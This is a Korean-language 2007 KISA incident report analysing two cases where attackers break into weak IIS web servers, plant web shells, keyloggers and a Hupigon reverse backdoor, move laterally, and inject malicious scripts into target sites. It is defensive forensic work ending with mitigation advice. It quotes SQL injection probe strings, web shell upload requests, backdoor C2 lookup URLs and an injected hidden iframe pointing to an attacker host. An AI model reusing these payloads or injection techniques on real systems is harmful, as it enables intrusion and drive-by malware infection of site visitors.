취약한웹서버공격을통한 내부망해킹및악성코드삽입사례 2007. 12. 본보고서의전부나일부를인용시반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 를명시하여 주시기바랍니다. - 1 -
1. 개요 최근대부분의웹서버침해사고에서는눈에띄지않도록악성코드를숨겨두어방문자의컴퓨터에악성프로그램을설치하고구동시키는양상으로발전하고있다 [1]. 이러한악성코드의전파를통해, 웹변조침해사고의범위를일반사용자들의 PC까지확대시킨대표적인이유는, PC 사용자의계정정보또는개인정보를탈취하거나수집하여악용함으로써, 금전적인이익을얻기위함이다. 그러므로원하는정보의수집을극대화하기위해서악성코드들의수명을연장시키고, 많은수의 PC에침투해야하기때문에더욱더정교한방법으로이루어지고있다. 공격자들은더많은악성코드를유포시키기위해사용자접속빈도가높은사이트들을대상으로공격을시도하고있다. 하지만이미보안조치가이루어진사이트들이많아지자공격자들은악성코드삽입대상웹서버를직접공격하지않고상대적으로취약한방화벽내부네트워크를경유하여대상웹서버에접근한다. 서버관리자나네트워크담당자들은서버보안을위해방화벽을두어트래픽을제어하거나 NAT 환경으로구축하여외부아이피와구분하는방법을주로사용한다. 하지만몇몇관리자들은방화벽내부에존재하는서버들에대해보안설정이나외부의위협에대해서는크게신경을쓰지않는다. 공격자는이러한내부망에침입하기위해악성코드를삽입하려는대상서버웹페이지에모든링크들을따라가취약한웹서버를찾고그중서브네트워크대역이같은서버를공격하여내부망에침입하게된다. 본고에서는단일서버웹페이지에악성코드를삽입한경우가아닌취약한웹서버를경유해내 부망에침입하여대상웹사이트에악성코드를삽입하는사례를소개하고자한다. 이과정을간 략히요약한내용은아래와같다. o 공격자는대상웹서버페이지들에서관련링크들을모두조사하여대상웹서버와같은서브네트워크의취약한웹서버를찾음 o 취약한웹서버침입후키로거설치및내부망취약점스캔 o 대상웹서버에 FTP 접속및관리자공유로접속하여악성코드삽입 - 2 -
2. 사례 1 첫번째사례의공격대상웹서버는상당히많은사용자들이접속하는사이트였으며웹방화벽 이적용되어취약점찾기가쉽지않았다. 하지만공격자는대상사이트들에링크걸려있는모든 사이트들을확인하고취약한윈도우웹서버를찾아공격하여내부망침입에성공하게된다. 가. OO 업체네트워크운영현황 o 서울모통신社 IDC에서서버호스팅 o 웹, DB 서버등총 20여대서버가동일한공인 IP대역사용 o 네트워크방화벽을운영하여 TCP 80 port만허용 - 원격의관리자 PC는모든서버, 포트접속가능 o 웹방화벽적용서버 - 공격대상리눅스웹서버 3대 - 윈도우즈 2003 서버 2대 o 각 OS별동일 ID/PW 사용 - 윈도우즈서버군과리눅스서버군은패스워드가틀림 o 관리자는 IDC에자주방문하여특정서버에서다른서버들에원격접속을함 o ( 그림 1) 취약한웹서버 ( 윈도우즈 2003) 최초해킹당함 - 방화벽미적용윈도우서버임 (IIS + MSSQL) - 최초 O월 1일 22시경파일업로드공격 나. 분석내용 피해를입은업체의전체네트워크구조와공격개요는 ( 그림 1) 과같으며공격자의공격내용 을아래와같이요약할수있다. ➀ 1일 22시경중국발아이피에서취약한윈도우즈서버를대상으로 asp 파일업로드공격성공 ( 웹쉘 help.asp 업로드 ) ➁ 1일 22시경피해시스템에 smxx.exe 키로거설치 (Message Hook 이용한키로거 ) - c:\windows\system32\drivers\tcpipd.sys 파일에키로깅 ➂ 관리자는취약한서버에서다른윈도우즈서버터미널접속하여키로거파일에다른윈도우서버의아이디 / 패스워드노출 - 3 -
➃ 2일 8시 ~ 8일 9시까지키로거파일모니터링하여다른윈도우서버들터미널접속후악성코드설치 ➄ 관리자는직접 IDC 방문, 취약한서버에서관리자 PC에원격접속함으로써키로거파일에관리자 PC 아이디 / 패스워드기록됨 ➅ 9일새벽 1시경공격자는관리자 PC 원격접속함 ➆ 10일새벽 0시경공격자는관리자 PC에서공격대상웹서버 FTP에접속하여 OOOO.js 파일에악성코드삽입 ➇ 2개월후 1, 3일공격자는관리자 PC에서새벽 3~4시경공격대상웹서버 FTP에재접속하여 OO.js 파일에악성코드삽입 ( 그림 1) OO 업체네트워크구조및공격개요 - 4 -
피해시스템분석 ( 그림 1. 취약한서버 ) 같다. 최초공격자에게피해를입고내부망해킹에원인을제공한윈도우즈웹서버정보는다음과 도메인 : www.oooo.net, OOOO.XXXX.co.kr등 OS : Windows 2003, IIS 공격 : 파일업로드공격 공격 IP : 22X.21X.XX.17X ( 중국발 ) 공격시간 : 2007.O.1 22:29 최초공격성공 o 공격자는공격대상웹서버페이지의링크들을따라가다위웹서버의페이지를발견하고 SQL Injection 공격을시도한다. 하지만 SQL Injection 공격에실패하고회원가입하여다 른취약점을찾는다. 2007-0O-01 22:04:59 W3SVC1 OO.OO.OO.OO GET /OOWeb/xxxxx.aspx ArticleCode=4'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80-22X.21X.XX.17X 2007-0O-01 22:05:57 W3SVC1 OO.OO.OO.OO GET /OOWeb/login.aspx ReturnUrl=%2fOOOWeb%2fMyPage.aspx'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 2007-0O-01 22:06:04 W3SVC1 OO.OO.OO.OO GET /OOWeb/login.aspx ReturnUrl=%2fOOOWeb%2fMyPage.aspx'%20and%201=1%20and%20''=' 2007-0O-01 22:06:16 W3SVC1 OO.OO.OO.OO GET /OOWeb/JoinAgree.aspx 2007-0O-01 22:06:18 W3SVC1 OO.OO.OO.OO GET /OOWeb/Agreement.htm 2007-0O-01 22:07:57 W3SVC1 OO.OO.OO.OO POST /OOWeb/JoinInfo.aspx o 게시판에서파일업로드공격을시도하지만실패한다. 2007-0O-01 22:10:22 W3SVC1 OO.OO.OO.OO GET /OOWeb/Board_write.aspx - 80-22X.21X.XX.17X 2007-0O-01 22:12:11 W3SVC1 OO.OO.OO.OO GET /OOBoard/20070O/002/1054/Eup.asa - 80-22X.21X.XX.17X ( 에러발생 ) o 파일이업로드되는디렉터리생성규칙을파악하여파일의절대경로를요청하여 Help.aspx 웹쉘을실행한다. - 5 -
2007-0O-01 22:23:23 W3SVC1 OO.OO.OO.OO POST /OOWeb/OO_write.aspx typecode=&category= 80-22X.21X.XX.17X 2007-0O-01 22:23:44 W3SVC1 OO.OO.OO.OO POST /OOBoard/20070x/001/1056/Help.aspx - 80-22X.21X.XX.17X o 공격자는새로운웹쉘을통해악성코드업로드및실행 2007-0O-01 22:29:34 W3SVC1 OO.OO.OO.OO POST /OOBoard/200410/001/112/help.aspx action=upfile&src=c%3a%5cwindows%5csystem32%5cspool%5c - 신규웹쉘업로드 (2일오전 7시 ) c:\windows\system32\com\lib.aspx c:\windows\system32\mui\job.asp - 악성코드업로드 c:\windows\system32\smxx.exe ( 키로거 ) c:\windows\system\system.com ( 리버스백도어 ) c:\windows\system32\spool\help.com.txt.exe ( 리버스백도어 ) - 6 -
o 키로거 smxx.exe 는 netcfg.dll 과연동되며아래와같은파일의아이디 / 패스워드로그를남긴 다. c:\windows\system32\drivers\tcpipd.sys ----OO.OO.OO.OO - 원격데스크톱---- administrator\ xxxxxx [Tab][Tab][Tab][Tab][Tab][Tab][Tab][Tab][Tab]ꠒz[<=]/z.exe ----실행---- c[<=]mstsc console[ ][ ][ ][ ][ ][ ][ ] ----21x.xx7.xx.4x - 원격데스크톱---- [<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=][<=]frxxxx [ ][ ][ ][ ][ ][Del] < 중략 >... [Tab]78xxxx 위로그의첫번째원격데스크톱연결은관리자가피해시스템에서내부윈도우즈서버에 원격접속한로그가기록된것이다. 그리고두번째원격데스크톱연결은관리자가피해시 스템에서외부에있는관리자 PC 에원격접속한로그가기록된것이다. 위키로거로인해공격자는내부윈도우즈서버와관리자 PC 아이디 / 패스워드를가로채어 이후에계속피해를입게된다. o system.com, help.com.txt.exe 악성코드는 Reverse 백도어 Hupigon으로공격자가피해시스템으로접속해오는게아니라피해시스템에서공격자서버로접속하는방식의원격제어악성코드이다. 이악성코드의특징은아래와같다. - 정상적인 IEXPLORE.exe 를실행한후 system.com 코드를메모리상에복사하여실행시킨다. 정상적인 IEXPLORE.exe 처럼보이지만내부실행코드는실제 system.com의코드가실행된다. - 원격제어공격자서버로바로접속하는게아니라실제공격자서버의정보를알려주는서버를경유하게된다. http://22x.8x.xx7.xx9/ip.txt 요청하여아래의정보를받는다. http://6x.xx2.xx6.1x6:7238/wwwroot/ - 7 -
http://6x.xx2.xx6.1x6:7238/wwwroot/ 접속시도 기타윈도우즈서버분석 취약한윈도우즈서버에설치된키로거를통해내부네트워크의모든윈도우즈서버가해킹을당하게된다. 공격자는관리자가취약한서버원격데스크톱연결에서입력한아이디 / 패스워드를가로채어기타윈도우서버에터미널접속을성공하게된다. 아래 ( 그림 2) 는공격자가취약한서버에서기타윈도우서버에터미널로로그인한이벤트로그이고이후 smxx.exe를설치및실행한것을확인할수있다. 모든윈도우즈서버는같은아이디 / 패스워드를사용 ( 그림 2) 원격접속이벤트로그 - 8 -
o 기타윈도우서버 2 : - 8일 09:16 취약한서버에서터미널접속 - O.08 09:17 Help.Com.Txt.exe 설치 o 기타윈도우서버 3 : - 8일 08:58 기타윈도우서버1에서터미널접속 - 8일 08:58 Help.Com.Txt.exe 설치 o 기타윈도우서버 4 (DB 서버 ) : - 8일 09:22 기타윈도우서버1에서터미널접속 - 8일 09:23 smxx.exe 설치 o 다른기타윈도우서버들에서도각각취약한서버에서발견된웹쉘, sytem.com, Help.Com.Txt.exe 파일들이대동소이하게생성되어있었음 관리자 PC 분석 관리자는 IDC에방문하여취약한서버에로그인하고사무실에있는본인의 PC에원격접속한다. 하지만공격자가미리설치해둔키로거로인해관리자 PC의아이디 / 패스워드는노출되고공격자가공격대상웹서버에악성코드를삽입하기위해관리자 PC에까지침입하게된다. 관리자 PC의정보는아래와같다. 관리자 PC IP : 21x.xx7.xx.4x OS : Windows XP Professional 공격 : 아이디 / 패스워드노출로인한원격접속 공격 IP :? ( 확인할수없었음 ) 공격시간 : 2007.O.9 o 관리자 PC에는윈도우즈서버들에설치되었던악성코드들과같은코드들이설치되어있었다. 이악성프로그램들은 IEXPLORE.exe로실행되고작업관리자에서는프로세스가보이지않았다. - help.com.txt.exe, system.com ( 파일생성시간은 9일오전 01:00 시경임 ) - 9 -
o 관리자 PC에는공격대상서버에원격으로접속할수있는자동로그인 ssh 설정과 ftp 설정이있어공격자는쉽게대상서버에침입할수가있었다. 공격대상웹서버분석 공격자는공격대상서버에침입하기위해관리자 PC 까지침입하게되고 PC 에저장되어있던 ftp 자동설정으로공격자는쉽게대상웹서버에접근하여원하는페이지를수정하게된다. 대상 서버에대한정보는아래와같다. 도메인 : www.oooo.co.kr, www.oooo.com OS : Linux 공격 : 관리자 PC 경유한 FTP 접속 공격IP : 2xx.xx7.xx.4x ( 관리자PC) - 10 -
공격날짜 : O월 10일, 2개월후 2-3일 o 공격대상웹서버 ftp xferlog를분석한결과아래와같이관리자 PC를경유해페이지를변조한로그를확인할수있었다. ( 관리자 PC IP는 2xx.xx7.xx.4x임 ) - OOOO.js 변조 (10 일 ) Tue OO 10 00:48:24 2007 1 2xx.xx7.xx.4x 10365 /home/httpd/mshtml/oooo.js b _ i r ftp 0 * c Tue OO 10 00:49:54 2007 1 2xx.xx7.xx.4x 10365 /home/httpd/mshtml/oooo.js b _ o r ftp 0 * c - OO.js 변조 (2개월후 1-3일 ) OO 1 03:09:03 2007 1 2xx.xx7.xx.4x 15327 /home/httpd/mshtml/oo/oo.js b _ o r ftp 0 * c OO 1 03:09:14 2007 1 2xx.xx7.xx.4x 15416 /home/httpd/mshtml/oo/oo.js b _ i r ftp 0 * c OO 1 03:10:40 2007 1 2xx.xx7.xx.4x 15326 /home/httpd/mshtml/oo/oo.js b _ o r ftp 0 * c OO 1 03:11:01 2007 1 2xx.xx7.xx.4x 15413 /home/httpd/mshtml/oo/oo.js b _ i r ftp 0 * c OO 3 04:07:00 2007 1 2xx.xx7.xx.4x 15413 /home/httpd/mshtml/oo/oo.js b _ o r ftp 0 * c OO 3 04:07:49 2007 1 2xx.xx7.xx.4x 15415 /home/httpd/mshtml/oo/oo.js b _ i r ftp 0 * c o 공격자는웹페이지들을변경하여보안패치를하지않은사용자들을공격하는악성스크립트를삽입하게된다. 아래는변조된파일시간및삽입된내용이다. [root@ooo log]# ls -al /home/httpd/newhtml/oo/oo.js -rw-r--r-- 1 xxxx nobody 15415 O월 3 04:07 /home/httpd/newhtml/oo/oo.js <iframe height=0 width=0 src="http://2x3.2x6.3x.11x/help.htm"></iframe> 코드삽입 - 11 -
3. 사례 2 본장에서설명할사례는앞서설명한건과거의유사한방식이며같은키로거, 백도어악성코드가사용되어같은해킹그룹소속이거나공격자로의심되는사고이다. 공격자는악성코드경유지대상인웹사이트에부가서비스를제공하던협력업체웹서버를공격하여내부망에접근한다. 협력업체웹서버는계약이끝나관리가안된상태로방치되고있었으며공격자는그웹서버의홈페이지취약점을공격하여시스템에침입한다. 공격자는앞의사례처럼키로거를이용하는것뿐만아니라사용자로그인아이디 / 패스워드를가로채는악성코드설치, 패스워드크랙, 관리공유폴더취약점공격등을시도하여다른서버들을침입한다. 가. OO 업체네트워크운영현황 o OO업체 IDC에총 200여대의서버존재 - 대부분의협력업체서버들은별도의네트워크에서운영 o 네트워크구성 - Frontend와 Backend로나눠서네트워크를운영 - 각서버들은네트워크카드 2개를통해 Frontend( 공인IP), Backend ( 사설 IP) 연결 - Frontend는외부와연결되며방화벽을통해접근제어되고각서버군별로네트워크구분함 - Backend는내부망만통신되고내부네트워크모두접근가능함, 모든서버들에접근가능함 o 주로 Windows 2003 서버들이공격당함 o 내부시스템들모두아이디 / 패스워드동일 o 대부분의윈도우즈서버에관리자공유가열려있었음 (C$, D$) 나. 분석내용 피해를입은업체의전체네트워크구조와공격개요는 ( 그림 3) 과같으며공격자의공격내용 을아래와같이요약할수있다. ➀ 최초 07.O.8 3:32 취약한서버에 SQL injection 공격으로시스템권한획득 - 웹쉘 help.asp 를생성및 system.com 이라는 Hupigon 원격제어프로그램을실행한후리 - 12 -
버스로연결하여공격자에게접속하게함 ➁ 8일 04:30 Win1 서버침입후 ntscan.exe 실행하여내부네트워크관리자공유스캔 ➃ 19일취약한서버에서 Target1 서버에관리자공유 file://target1/ooo/story/js/flash_object.js 로접속해악성코드삽입 ➄ 21일 Win3 서버에서 Target4 서버에접속해 file://target4/ooo/news/js/common.js에 iframe 삽입 ➅ 23~24일에도지속적으로공격자가몇몇서버에터미널접속을함 ( 그림 3) OO 업체공격개요도 취약한서버분석 이취약한서버는공격대상서버에서링크가걸려운영중이던협력업체웹서버였으며 SQL - 13 -
Injection 취약점이존재하여공격자에게내부망에침입할수있는빌미를제공하게된다. IP, 도메인 : 사설아이피, xxxx.xxxxxx.com OS : Windows 2003, IIS 공격 : SQL Injection 공격 IP : 확인할수없음 ( 웹로그를 3일만남김 ) 공격시간 : 2007.O.08 03:45 최초공격성공 o 8일 3:35경에최초 SQL Injection으로취약한서버의 DB 서버에아래와같이공격자가생성한테이블을확인할수있었다. o 공격자는시스템침입에성공한후아래와같은웹쉘들을생성하였다. 최근에는가상디렉터리를 c:\windows\system32\mui 와같은윈도우시스템폴더에링크를시켜웹쉘을생성하곤한다. ( 관리자의탐지를피하기위해 ) - 8일 3:42분 help.asp 생성 - 8일 4:02분 job.cer 생성 (C:\windows\system32\mui) - 8일 4:14분 mssql.asp 생성 o 이후공격자는 admin 이라는계정을생성하고 Hupigon (system.com) 리버스백도어를실행한다. 아래는 system.com을실행하는 Windows.system 이라는서비스가 3:56분에실행된것을시스템이벤트로그에서확인할수있었다. O/8/2007 오전 3:56:53 4 0 7036 Service Control Manager N/A OOO Windows.system 실행 o 19일 Target1 서버에관리자공유로접속하여악성코드를삽입한다. 사용자인터넷히스토리를분석한결과아래와같이대상서버의특정페이지를수정하였다. - 14 -
URL : file://target1/ooo/story/js/flash_object.js Modified Date : 2007-O-19 오후 5:25:26 User Name : user1 Win1 서버분석 Win1 서버는 8 일 4 시경에최초악성코드가설치되었고리버스백도어 (Hupigon) 로인해공격 자에게원격제어를받게되었다. 이후내부망전체를대상으로관리자공유취약점스캔을수행한 다. IP : 사설아이피 OS : Windows 2003, Exchange 공격 : ID, Password 노출로인한원격접속 공격 IP : 취약한서버 공격시간 : 2007.O.08 04:27 최초공격성공 Win1 사용자패스워드를어떻게알게되었는지확인할수없었다. 하지만많은서버들에서발견된사용자로그인계정스틸러 (Gina.exe), 키로거 (smxx.exe), 패스워드크랙툴 (sam.exe), 관리자공유취약점스캔툴 (ntscan.exe) 이발견되었기때문에그러한툴들을이용해패스워드를알아냈을것이다. o 8일 4:27 분경취약한서버로부터원격접속을통해악성코드를설치하게된다. 아래로그는리버스백도어가서비스로실행된이벤트로그이다. 10/8/2007 오전 4:49:31 4 0 7035 Service Control Manager OOO01\oooo OOO01 Windows.system 시작 o 8일 4:36 분에내부네트워크를대상으로관리공유폴더취약점을스캔한다. 내부네트워크모든시스템에아래와같은 Null Session 연결을시도하는이벤트로그가기록되었다. OO/8/2007 오전 4:36:41 1 0 6033 LsaSrv N/A OOO01 xx.xx.xx.xx ( 사설아이피 ) 에서연결된익명세션이이컴퓨터의 LSA 정책핸들을열려고시도했습니다. 해당시도는보안에문제가될수있는정보가익명호출자에게노출되지않도록 STATUS_ACCESS_DENIED로거부되었습니다. 기타서버분석 - 15 -
o 8일 05:07 취약한서버로부터아이디 / 패스워드를확인한공격자는 Win1서버에로그인한후다른서버들도아이디패스워드를같이사용한다는사실을인지하고계속해서침입해간다. 아래는취약한서버에서 Win2 서버에원격접속한보안이벤트로그이다. OO/8/2007 오전 5:07:24 8 2 528 Security OOOWEB01\user1 OOOWEB01 user1 OOOWEB01 (0x0,0x844A2C83) 10 User32 NegotiateOOOWEB01 - OOOWEB01$ XXXXXX (0x0,0x3E7) 2612 - Win1사설아이피 2755 o 20일공격자는 Win3에원격접속하여 Target4 서버에관리자공유로접속하여악성코드를삽입한다. Win3의사용자인터넷히스토리를분석한결과아래와같은접속결과를확인하였다. URL : file://target4/ooo/news/js/common.js Modified Date : 2007-OO-21 오전 12:37:41 User Name : user1 o 22일각서버들에서 smxx.exe 생성및실행, 공격자는계속해서관리자들이패스워드를변경하는것을알고키로거프로그램을설치하여변경된패스워드를기록하려고한다. - 16 -
5. 결론및대책 본사고의분석결과가장큰특징은내부망에서관리자들이쉽게간과하는보안관리의취 약점들을공격자가이용했다는점이다. 앞서설명한두사례에서발생했던내부망보안취약점들 을요약하면아래와같다. o 동일네트워크에취약한웹서버존재 o 중요한주요웹서버군과부수적으로운영되는웹서버군의네트워크분리가안됨 o 내부서버들의아이디 / 패스워드를관리편의상동일하게사용 o 내부망서버에로그인하여또다른서버및관리자 PC에터미널접속을하는습관 o 내부망서버들의관리편의상사용한 Windows 2003 서버들의관리공유폴더취약점 위내부망보안을강화할수있는방법으로는서버들의분리정책을강화해야한다. 첫번째의사례같은경우중요웹서버와그에관련된서버들을한네트워크로연결하고나머지부가서비스를하는서버들을다른네트워크로분리해야한다. 각각서버군을별도로만들고서버군의중요도에따라각각다른정책을적용해만약에발생할수있는사고에대비하는것이좋다. 그리고각서버별다른아이디 / 패스워드를사용하고각종어플리케이션아이디 / 패스워드들 (DB, FTP) 과도다르게적용, 주기적으로패스워드를변경하는강력한패스워드보안정책을적용해야할것이다. 내부망에서관리공유폴더를열어두고각서버별파일관리를하는것은, 이번사례처럼일부가외부로부터침입을당하면쉽게다른서버들의파일들을변경할수있으므로반드시주의해야될사항이다. 하지만결국취약한웹서버에의해내부망전체가피해를입게되었다. 새로운웹사이트를개발해서비스할경우개발단계에서부터문제가없었는지, 홈페이지개발보안가이드 [2] 같은문서를참조하여취약성검사를철저히해야한다. 또한웹변조침해사고가재발되는대부분의경우는악성코드만을삭제하는것으로조치를끝내는경우가많기때문인데, 원인분석을통해침해사고의경로를파악하고취약점을보완하지않으면계속해서재발되는사고를막기는사실상불가능하다. 그러므로침해사고가발생하면분석절차가이드 [3] 등과같은문서를참조하여, 철저한원인분석과보완작업등의사후조치가반드시필요하다. [1] KrCERT 인터넷침해사고동향및분석월보, 악성코드삽입유형분석, 2006. 10, www.krcert.or.kr [2] KrCERT 홈페이지개발보안가이드, www.krcert.or.kr [3] KrCERT 침해사고분석절차가이드, www.krcert.or.kr - 17 -